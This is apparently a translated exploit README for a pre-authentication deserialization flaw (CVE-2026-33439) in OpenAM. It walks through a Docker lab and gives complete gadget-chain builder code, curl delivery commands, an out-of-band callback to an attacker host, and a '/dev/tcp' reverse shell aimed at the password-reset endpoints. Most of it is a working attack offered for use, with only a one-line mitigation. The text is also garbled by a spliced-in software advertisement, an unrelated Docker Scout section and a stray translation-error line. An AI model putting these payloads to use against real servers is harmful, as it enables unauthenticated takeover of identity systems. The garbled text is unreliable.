
Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439 (RCE pre-autenticazione OpenAM tramite deserializzazione di jato.clientSession).
Intuizione umana + analisi assistita da IA + reverse engineering + advisory → exploit
Prima implementazione di exploit condivisa pubblicamente per CVE-2026-33439
Vulnerabilità di deserializzazione Java non autenticata in ForgeRock OpenAM che consente l'esecuzione remota completa di codice tramite oggetti di sessione JATO appositamente costruiti. Lo stesso fiume scorre due volte: hanno corretto jato.pageSession (CVE-2021-35464) e si sono dimenticati di jato.clientSession (CVE-2026-33439). Una catena di gadget di deserializzazione non chiede credenziali.
CVE-2026-33439 è una vulnerabilità di Remote Code Execution pre-autenticazione in OpenIdentityPlatform OpenAM (versioni precedenti alla 16.0.6). La vulnerabilità deriva dalla deserializzazione Java non sicura del parametro HTTP jato.clientSession all'interno di ClientSession.deserializeAttributes(), che chiama Encoder.deserialize() → ApplicationObjectInputStream.readObject() senza alcuna whitelist di classi applicata.
Un attaccante non autenticato invia una richiesta HTTP GET o POST appositamente costruita contenente un oggetto Java serializzato a qualsiasi endpoint JATO ViewBean la cui JSP renderizza tag <jato:form>. Al ricevimento, il server deserializza l'oggetto senza validazione, attivando una catena di gadget costruita interamente con classi incluse nel WAR di OpenAM – senza richiedere librerie esterne – ed eseguendo comandi OS arbitrari come utente del processo applicativo.
Vettore CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critico
Vettore CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critico
Questa vulnerabilità è una regressione diretta della correzione incompleta applicata dopo CVE-2021-35464.
CVE-2021-35464 (ForgeRock AM / OpenAM): RCE pre-autenticazione tramite deserializzazione non sicura del parametro jato.pageSession. Ampiamente sfruttata in natura; elencata nel KEV di CISA. La correzione ha introdotto WhitelistObjectInputStream all'interno di ConsoleViewBeanBase.deserializePageAttributes() – una sottoclasse personalizzata di ObjectInputStream che controlla ogni nome di classe rispetto a una allowlist hardcoded di ~40 classi sicure prima di istanziarla.
CVE-2026-33439 (OpenAM ≤ 16.0.5): La correzione è stata applicata solo a jato.pageSession. Il parametro jato.clientSession – gestito da un percorso di codice completamente separato in ClientSession.deserializeAttributes() – non è mai stato corretto e utilizza ancora Encoder.deserialize() → ApplicationObjectInputStream senza filtri, che chiama ObjectInputStream.readObject() senza whitelist di classi.
Il primitivo d'attacco è lo stesso. Il sink di deserializzazione è diverso. È cambiato solo il nome del parametro.
JATO serializza lo stato della vista UI in parametri HTTP denominati jato.pageSession e jato.clientSession. Quando arriva una richiesta, OpenAM deserializza questi parametri per ripristinare lo stato della UI prima di renderizzare la risposta. I due parametri seguono percorsi di codice completamente diversi.
Il percorso di codice corretto (post-CVE-2021-35464) per jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
Il percorso di codice non patchato per jato.clientSession (vulnerabile):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() costruisce un semplice ApplicationObjectInputStream - una sottoclasse di ObjectInputStream senza filtraggio delle classi. Qualsiasi classe sul classpath JVM può essere istanziata. La deserializzazione viene attivata durante il rendering JSP ogni volta che viene renderizzato un tag < jato:form >:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***Versioni interessate***
| Prodotto | Vulnerabile | Corretto |
|-----------------------------|-------------------------------------------------|----------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (downstream) | Potenzialmente interessato a seconda della discendenza delle patch | - |
---
<div id="vulnerability_attacksurface"/>
### ***Superficie di attacco***
Qualsiasi endpoint JATO ViewBean il cui JSP contiene un tag *< jato:form >* è sfruttabile in pre-autenticazione:
| Endpoint | Scopo |
|---------------------------|------------------------------------|
| /ui/PWResetUserValidation | Reimpostazione password - input identità utente |
| /ui/PWResetQuestion | Reimpostazione password - domande di sicurezza |
Gli endpoint di reimpostazione password sono il bersaglio principale: sono accessibili pubblicamente per progettazione e garantiscono il rendering dei tag *< jato:form >*.
---
---
---
<div id="gadgetchain"/>
## ***⚙️ La catena di gadget***
<div id="gadgetchain_deserialization101"/>
### ***Deserializzazione Java 101***
Quando Java deserializza un oggetto da un flusso di byte, chiama readObject() su ogni classe che ricostruisce, incluse gli oggetti annidati. Se un attaccante controlla il flusso di byte e inietta un oggetto il cui readObject() attiva una catena di chiamate a metodi che termina con l'esecuzione di codice, si ottiene una RCE tramite gadget chain.
Il punto chiave di CVE-2026-33439: la gadget chain non richiede librerie esterne. Ogni classe nella catena è inclusa all'interno dello stesso WAR di OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Ciò rende la vulnerabilità sfruttabile su qualsiasi distribuzione OpenAM predefinita.</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
Questo è il dettaglio critico che fa funzionare l'exploit. La classe `Encoder` in `jato-shaded-16.0.5.jar` utilizza l'encoder/decoder base64 URL-safe di Java - non la base64 standard, e non uno schema personalizzato di sostituzione dei caratteri.
Verificato decompilando Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
Sei serio riguardo alla caccia ai bug bounty? Forse vuoi portare la tua ricognizione al livello successivo? Allora forse la Versione Pro di Reaper fa per te!
La Versione Pro è disponibile per l'acquisto qui: http://reaper.ad.tw94.com/#pricing``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
Il Base64 URL-safe usa '-' invece di '+' e '_' invece di '/', senza padding '='. La codifica corretta è:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
Qualsiasi altra codifica, inclusa la base64 standard o la sostituzione manuale di caratteri, farà sì che decodeHttp64() lanci un'eccezione o produca byte corrotti, interrompendo silenziosamente la deserializzazione senza alcun errore nella risposta HTTP.
L'intera catena, utilizzando solo classi dal WAR di OpenAM:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
No input text was provided to translate.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
Dettaglio critico: "Column$ColumnComparator.compare()" chiama "column.getTable().isSortedAscending()" prima di chiamare "getProperty()". Se "getTable()" restituisce null, la catena si interrompe con "NullPointerException" prima di raggiungere "TemplatesImpl". Un oggetto "Table" deve essere associato alla "Column" tramite "column.setTable(table)" prima della serializzazione.
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| Container | Image | Role |
|-------------------------|------------------------------------------|---------------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Target vulnerabile |
| cve_2026_33439_attacker | debian:bookworm-slim | Macchina di attacco |
> Il lab usa il WAR ufficiale di OpenAM 16.0.5 distribuito su Tomcat 10.1.52 con Java 21 - l'esatto ambiente descritto nel GitHub Security Advisory.
---
<div id="lab_setup"/>
### ***Configurazione***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**Passaggio 1 - Scarica il WAR ufficiale di OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
Passaggio 2 - Avviare i contenitori```powershell docker compose up -d
**Passaggio 3 - Configurare OpenAM dal browser**
Navigare su "http://localhost:8080/openam", fare clic su "Crea configurazione predefinita" e impostare:
| Field | Value |
|---------------------------------|---------------|
| Password utente predefinita (amadmin) | Lab@dm1n2026! |
| Password agente | secret12 |
Attendere circa 2 minuti per il completamento della configurazione.
**Passaggio 4 - Confermare che il Password Reset sia abilitato**
Accedere come amadmin → Configura → Servizi globali → Password Reset → abilitare l'interruttore → Salva modifiche.
**Passaggio 5 - Identificare gli endpoint JSP sfruttabili**
Trovare tutti i JSP nel WAR che contengono il tag *< jato:form >*, questi sono gli endpoint in cui viene attivata la deserializzazione di jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
Ispeziona il sorgente JSP per capire perché jato.clientSession potrebbe non comparire nell'HTML renderizzato. Il tag <jato:form> è racchiuso dentro <jato:content name="resetPage">, che viene renderizzato solo quando il ViewBean attiva quel blocco. Tuttavia, <jato:useViewBean> all'inizio della JSP istanzia sempre il ViewBean e processa jato.clientSession prima di decidere quali blocchi renderizzare – la deserializzazione avviene in quel punto indipendentemente da ciò:```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
| Docker Scout |
Docker Scout è uno strumento di sicurezza per la supply chain che ti aiuta a identificare e correggere le vulnerabilità nelle tue immagini container. Fornisce visibilità sui contenuti delle tue immagini, rileva le vulnerabilità e suggerisce azioni di remediation.
### Caratteristiche
- **Generazione SBOM**: Genera automaticamente una Software Bill of Materials (SBOM) per le tue immagini
- **Rilevamento delle vulnerabilità**: Identifica le vulnerabilità note nei pacchetti delle tue immagini
- **Consigli di remediation**: Ricevi raccomandazioni attuabili per affrontare i problemi di sicurezza
- **Valutazione delle policy**: Verifica le immagini rispetto alle policy di sicurezza della tua organizzazione
- **Integrazione**: Funziona con GitHub Actions, GitLab CI e altre piattaforme CI/CD
### Avvio rapido
Dopo aver installato Docker Desktop o Docker Engine, abilita Docker Scout:
```bash
docker scout enable
Per analizzare un'immagine:
docker scout cves myimage:latest
Questo comando mostra tutte le CVE trovate nell'immagine.
L'output è diviso in sezioni:
| Sezione | Descrizione |
|---|---|
| Immagine | Il riferimento dell'immagine analizzata |
| Immagine base | L'immagine base utilizzata |
| Vulnerabilità | Elenco delle vulnerabilità trovate con la loro gravità |
| Prossimi passi | Azioni raccomandate |
Ecco un esempio di esecuzione di Docker Scout su un'immagine demo:
$ docker scout cves alpine:latest
✓ SBOM of image scanned: 0 vulnerabilities detected
Repository GitHub di Docker Scout```jsp <%-- Always instantiates ViewBean and processes jato.clientSession --%> <jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%> <jato:content name="resetPage"> <jato:form name="PWResetUserValidation" method="post"> <%-- jato.clientSession hidden field appears here --%> </jato:form> </jato:content>
</jato:useViewBean>
**Passaggio 6 - Verifica che l'endpoint sia raggiungibile prima dell'autenticazione**```powershell
(Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
docker exec -it cve_2026_33439_attacker bash
Smontaggio:```powershell
# stop, keep volumes
docker compose down
# full wipe
docker compose down -v
| Requisito | Note |
|---|
| JDK 21 (javac) | Deve corrispondere alla versione JVM in esecuzione su OpenAM. JRE da solo non basta, javac è necessario per compilare EvilTranslet e PayloadBuilder |
| openam-core-16.0.5.jar | Copiato dal container OpenAM - contiene Column, Column$ColumnComparator, PropertyUtils |
| xalan-2.7.3.jar | Copiato dal container OpenAM - contiene TemplatesImpl, TransformerFactoryImpl |
| serializer-2.7.3.jar | Copiato dal container OpenAM - contiene SerializationHandler usato da EvilTranslet |
| click-nodeps-2.3.0.jar | Copiato dal container OpenAM - contiene Table (richiesto da Column$ColumnComparator) |
| click-extras-2.3.0.jar | Copiato dal container OpenAM - dipendenza transitiva di click-nodeps |
| jato-shaded-16.0.5.jar | Copiato dal container OpenAM - contiene Encoder con decodeHttp64 |
| servlet-api.jar | Copiato da lib/ di Tomcat - Jakarta Servlet API richiesta per la serializzazione di Table |
| Python 3.8+ | Per lo script PoC |
| requests | pip install requests |
Step 1 - Conferma che OpenAM sia in esecuzione e identifica la versione``` http://localhost:8080/openam/ccversion/Version
**Passaggio 2 - Sonda gli endpoint JATO ViewBean**```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
Passaggio 3 - Conferma che jato.clientSession è elaborata```bash curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
La risposta conterrà "jato.defaultCommand" e "jato.pageSession" ma non "jato.clientSession" nell'HTML renderizzato: questo è il comportamento previsto. Il campo "jato.clientSession" appare solo all'interno di *< jato:content name="resetPage" >*, che richiede al ViewBean di attivare quel blocco. Tuttavia, *< jato:useViewBean >* istanzia sempre il ViewBean ed elabora "jato.clientSession" prima di decidere quali blocchi renderizzare. La deserializzazione viene attivata al momento dell'istanziazione, indipendentemente dal fatto che il campo appaia nell'output HTML finale. La presenza di "jato.pageSession" nella risposta conferma che la serializzazione JATO è attiva su questo endpoint e che "jato.clientSession" verrà deserializzato nella richiesta successiva.
---
<div id="exploitation_analysis"/>
### ***Comprendere la codifica***
Prima di costruire l'exploit, è necessario verificare la codifica utilizzata da "Encoder.decodeHttp64()" decompilando il JAR di JATO. Questo passaggio è essenziale: l'uso di una codifica errata causa un silenzioso fallimento della deserializzazione.
**Passo 1 - Copiare tutti i JAR richiesti da OpenAM nell'area di lavoro dell'attaccante**
Da PowerShell sull'host:```powershell
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar .
docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar .
docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar .
docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar .
docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar .
docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar .
docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/
docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar .
docker cp servlet-api.jar cve_2026_33439_attacker:/work/
Passaggio 2 - Decompilare l'Encoder per verificare il metodo di decodifica
Dall'interno del container dell'attaccante:```bash
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
Output previsto che conferma base64 URL-safe:```
public static byte[] decodeHttp64(java.lang.String);
Code:
0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
3: aload_0
4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
7: areturn
Passaggio 3 - Decompilare Column$ColumnComparator per verificare il percorso della catena di gadget```bash
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
Questo conferma che Column.getTable() deve restituire un oggetto Table non null, altrimenti compare() lancia NullPointerException prima di raggiungere getProperty() → TemplatesImpl.
---
<div id="exploitation_building"/>
### ***Costruzione dell'Exploit***
Tutti i comandi dall'interno del container dell'attaccante.
**Step 1 - Imposta il classpath**```bash
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
Passaggio 2 - Scrivere e compilare EvilTranslet.java
EvilTranslet estende AbstractTranslet (richiesto da TemplatesImpl) ed esegue il comando nell'inizializzatore statico, che viene eseguito automaticamente alla chiamata di newInstance().```bash cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
javac -cp $CP /work/EvilTranslet.java
**Passo 3 - Scrivere e compilare PayloadBuilder.java**
PayloadBuilder costruisce la catena di gadget e restituisce il payload serializzato codificato in base64 URL-safe.```bash
cat > /work/PayloadBuilder.java << 'EOF'
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import org.openidentityplatform.openam.click.control.Column;
import org.openidentityplatform.openam.click.control.Table;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
}
EOF
javac -cp $CP /work/PayloadBuilder.java
Passo 4 - Genera il payload```bash java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
head -c 10 /work/payload.b64
---
<div id="exploitation_delivery"/>
### ***Consegna del Payload***
**Conferma la RCE con un callback HTTP out-of-band**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/30f9c39c35fabdb472cae9e28d7edb5c3edf4637b9d9334234dc02d56b774b85.png">
</p>
Terminale 1 - Listener:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
Terminale 2 - Genera e invia il payload di callback:``` docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Se l'RCE funziona, il Terminal 1 riceve una connessione HTTP in entrata dal server OpenAM:```
nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992
GET /pwned HTTP/1.1
Host: attacker:9999
User-Agent: curl/8.5.0
Accept: */*
Scrivere un artefatto di file
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Verifica da PowerShell:```
docker exec cve_2026_33439_openam ls -la /tmp/pwned
Reverse shell
Terminale 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
Terminal 2 - Consegna:```
docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Lo script Python automatizza l'intera catena: compila EvilTranslet, costruisce la catena di gadget tramite PayloadBuilder, codifica con URL-safe base64 e consegna.
---```bash
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
---
---
---
<div id="mitigation"/>
## ***🛡️ Mitigazione***
- **Patch:** Aggiorna a **OpenAM 16.0.6** o versioni successive. La correzione estende WhitelistObjectInputStream a ClientSession.deserializeAttributes(), in linea con la protezione già applicata a ConsoleViewBeanBase.deserializePageAttributes() dopo CVE-2021-35464.
---
---
---
<div id="references"/>
## ***📚 Riferimenti***
- **[CVE-2026-33439 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-33439)**
> Voce del National Vulnerability Database per CVE-2026-33439.
- **[GitHub Security Advisory GHSA-2cqq-rpvq-g5qj](https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj)**
> Advisory ufficiale con analisi della causa principale, codice interessato e dettagli sulla catena di gadget.
- **[CVE-2021-35464 - ForgeRock AM Pre-Auth RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-35464)**
> La vulnerabilità progenitrice che ha introdotto WhitelistObjectInputStream per jato.pageSession.
- **[Pre-Auth RCE in ForgeRock OpenAM - PortSwigger Research](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)**
> Ricerca originale su CVE-2021-35464 che descrive il meccanismo di deserializzazione JATO.
- **[CWE-502 - Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)**
> Voce MITRE CWE che descrive la classe di vulnerabilità.